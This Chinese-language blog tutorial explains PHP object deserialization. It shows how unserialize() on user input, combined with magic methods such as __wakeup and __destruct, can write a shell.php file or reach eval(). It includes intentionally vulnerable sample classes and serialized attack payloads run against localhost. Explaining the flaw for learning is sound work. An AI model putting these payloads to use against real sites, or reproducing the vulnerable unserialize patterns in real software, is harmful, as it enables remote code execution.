php反序列化浅谈
阅读原文时间:2023年07月12日阅读:2

0x01 serialize()和unserialize()

先介绍下几个函数

serialize()是用于将类转换为一个字符串

unserialize()用于将字符串转换回一个类

serialize()

<?php
class test{
    var $a = 'yicunyiye';
}

$p = new test();
$ser = serialize($p);

echo $ser;
?>

输出为

O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}

这里O是说明为对象为4个字符,1是表示只有一个值{}里面的s表示为字符串为1就是变量a的长度,然后就是9表示值的长度

unserialize()

<?php
class test{
    var $a = 'yicunyiye';
}

$p = new test();
// $ser = serialize($p);

$a = 'O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}';
$unser = unserialize($a);
print_r($unser);

?>

输出为

test Object ( [a] => yicunyiye )

这里的test为对象[a] => yicunyiye 为 $a = "yicunyiye"

0x02 漏洞产生

当我们传入给unserialize()参数可控的时候就可以利用

Magic function

php中有一类特殊的方法叫做“Magic function”

构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的

析构函数__destruct():当对象被销毁时会自动调用。

__wakeup():如前所提,unserialize()时会自动调用

<?php
header("Content-type: text/html;charset=utf-8");
class test{
    var $test='123';
    function __wakeup(){
        echo "__wakeup"."<br>";
    }
    function __construct(){
        echo "__construct"."<br>";
    }
    function __destruct(){
        echo "__destruct"."<br>";
    }
}
echo "serialize:====="."<br>";
$data=new test;
$data=serialize($data);

echo "unserialize:====="."<br>";
$jm=unserialize($data);
print_r($jm);
?>

输出结果为

serialize:=====
__construct
__destruct
unserialize:=====
__wakeup
test Object ( [test] => 123 ) __destruct

wakeup() 或destruct()由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们

因此我们写一个

<?php
class aaaa{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>

url为:http://127.0.0.1/m/index.php?test=O:4:"aaaa":1:{s:4:"test";s:19:"";}

这里可以看到只要传入给test就行了

其他Magic function的利用,如果用construct()其实是一样的只需要一步步溯源回去即可

<?php
class con{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class wake{
    var $test = '123';
    function __wakeup(){
        $obj = new con($this->test);
    }
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>

payload:O:4:"wake":1:{s:4:"test";s:18:"";}

利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

比如这里

<?php
class chybeta {
    var $test;
    function __construct() {
        $this->test= new ph0en1x(); //实例化ph0en1x
    }
    function __destruct() {
        $this->test->action(); //调用ph0en1x类里的action()函数
    }
}
class ph0en1x {
    function action() {
        echo "ph0en1x";
    }
}
class ph0en2x {
    var $test2;
    function action() {
        eval($this->test2);
    }
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>

我们的payload修改为

<?php
class chybeta{
    var $test;
    function __construct(){
        $this->test = new ph0en2x();
    }
}

class ph0en2x{
    var $test2 = "phpinfo();";
}

$class6 = new chybeta();
$payload = serialize($class6);
echo $payload;
?>

执行payload为:

O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}